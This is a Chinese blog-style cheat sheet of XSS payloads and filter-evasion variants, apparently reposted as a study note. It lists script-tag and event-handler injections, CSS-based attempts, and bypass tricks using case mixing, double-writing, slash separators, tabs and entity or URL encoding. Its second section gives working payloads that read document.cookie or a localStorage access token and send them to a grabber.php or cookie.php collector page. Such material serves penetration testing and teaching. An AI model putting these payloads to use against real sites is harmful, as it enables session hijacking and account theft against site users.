当前位置:   article > 正文

【XSS】payload 常用构造和变形方法_xss payload

xss payload

XSS 构造 payload(利用 “<>” 构造 HTML 标签或 标签)

一、典型标签:

<script>alert('xss')</script>
"><script>alert('xss')</script>
  • 1
  • 2

二、获取管理员 cookie 或敏感访问令牌,并把它发送到指定的页面:

<script>document.location='http://localhost/XSS/grabber.php?c='+document.cookie</script>

<script>document.location='http://localhost/XSS/grabber.php?c='+localStorage.getItem('access_token')</script>

<script>new Image().src='http://localhost/cookie.php?c='+document.cookie;</script>

<script>new Image().src='http://localhost/cookie.php?c='+localStorage.getItem('access_token');</script>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

三、利用 HTML 标签的属性

"><img src=x οnerrοr=alert("XSS");>

<img src=x:alert(alt) onerror=eval(src) alt=xss>

<img src=x onerror=alert('XSS');>

<img src=x onerror=alert(String.fromCharCode(88,83,83));>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

四、利用鼠标事件触发恶意代码
在这里插入图片描述
示例:

<button onclick=alert('xss')>触发按钮</button>    鼠标单击元素触发

<button ondbclick=alert('xss')>触发按钮</button>    鼠标双击

<button onmousedown=alert('xss')>触发按钮</button>    鼠标被按下

<button onmouseover=alert('xss')>触发按钮</button>    鼠标移动到元素上

<button onmouseout=alert('xss')>触发按钮</button>     鼠标从元素上移开
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

五、利用键盘事件触发恶意代码

function test(){alert('回显字样');}

onkeydown某个键盘按键被按下:
<img src="javascript:void(0)" onerror="document.οnkeydοwn=function(e){if(e.keyCode==65){alert('XSS')}}"/>
#javascript:void(0)  ---> 图片不会正常显示,但能执行命令
#该标签表示键盘输入 'A' 时就会触发恶意语句,'A'ASCII码为65
<input type="text" onkeydown="test()">    //<input>标签的输入框

onkeyup某个按键被松开:
<input type="text" onkeyup="test()">

onkeypress某个按键被按下并松开:
<input type="text" onkeyup="test()">
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

六、利用CSS(了解,并不熟悉)
行内样式方法:

1.这段 payload 利用了 HTML 元素的 style 属性来设置内联样式。
2.将一个 div 元素的背景图片设置为一个 JavaScript URL,该 URL 会在加载时执行 alert('xss')3.现代浏览器通常不允许在 CSSurl() 函数中执行 JavaScript,所以这种方法可能不会生效。

<div style="background-image:url(javascript:alert('xss'))">
  • 1
  • 2
  • 3
  • 4
  • 5

页内样式方法:

1.这段 payload 中使用了 <style> 标签来定义页内样式。
2.将 body 元素的背景图片设置为一个 JavaScript URL,同样,这个 URL 会在加载时执行 alert('xss')3.但和行内样式的情况一样,这种方法可能不会生效。

<style>Body{background-image:url(javascript:alert('xss'))}</style>
  • 1
  • 2
  • 3
  • 4
  • 5

外部样式方法:

1.这段 payload 中通过链接到一个外部 CSS 文件(xss.css)来注入恶意代码。
2.这个外部 CSS 文件可能包含类似于前面两种方法的恶意代码,但由于 CSS 本身不能执行 JavaScript,可能就需要利用某些浏览器或应用程序的特定漏洞来执行恶意代码。

<link rel="stylesheet" type="text/css" href="./xss.css">
  • 1
  • 2
  • 3
  • 4

XSS payload 变形方法

大小写

<sCript>alert('xss')</Script>        将标签中的部分小写字母改为大写
  • 1

双写

<scrscriptipt>alert('xss')</scrscriptipt>        对原来的<script>标签变形	
  • 1

引号

<img src="#" onerror="alert('xss')"/>        双引号包裹执行命令的alert函数
<img src="#" onerror=alert`xss`/>        反引号代替括号包裹xss内容
  • 1
  • 2

/ 代替空格

<img/src='#'/onerror='alert('xss')'/>
  • 1

Tab 与回车

在语句中穿插 Tab和回车

<a href="j
avascript:alert('xss')">click me!
</a>
  • 1
  • 2
  • 3
  • 4
  • 5

编码

<a href="j&#97;v&#x61;script:alert('xss')>click me!</a>        HTML实体编码
%3Cscript%3Ealert('xss')%3C/script%3E        URL编码
  • 1
  • 2

【附】XSS漏洞危害

  • 盗取各种用户账号
  • 窃取用户Cookie资料,冒充用户身份进入网站
  • 劫持用户会话,执行任意操作
  • 刷流量,执行广告弹窗
  • 传播蠕虫病毒
  • 记录用户的键盘输入
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/Monodyee/article/detail/712748
推荐阅读
相关标签
  

闽ICP备14008679号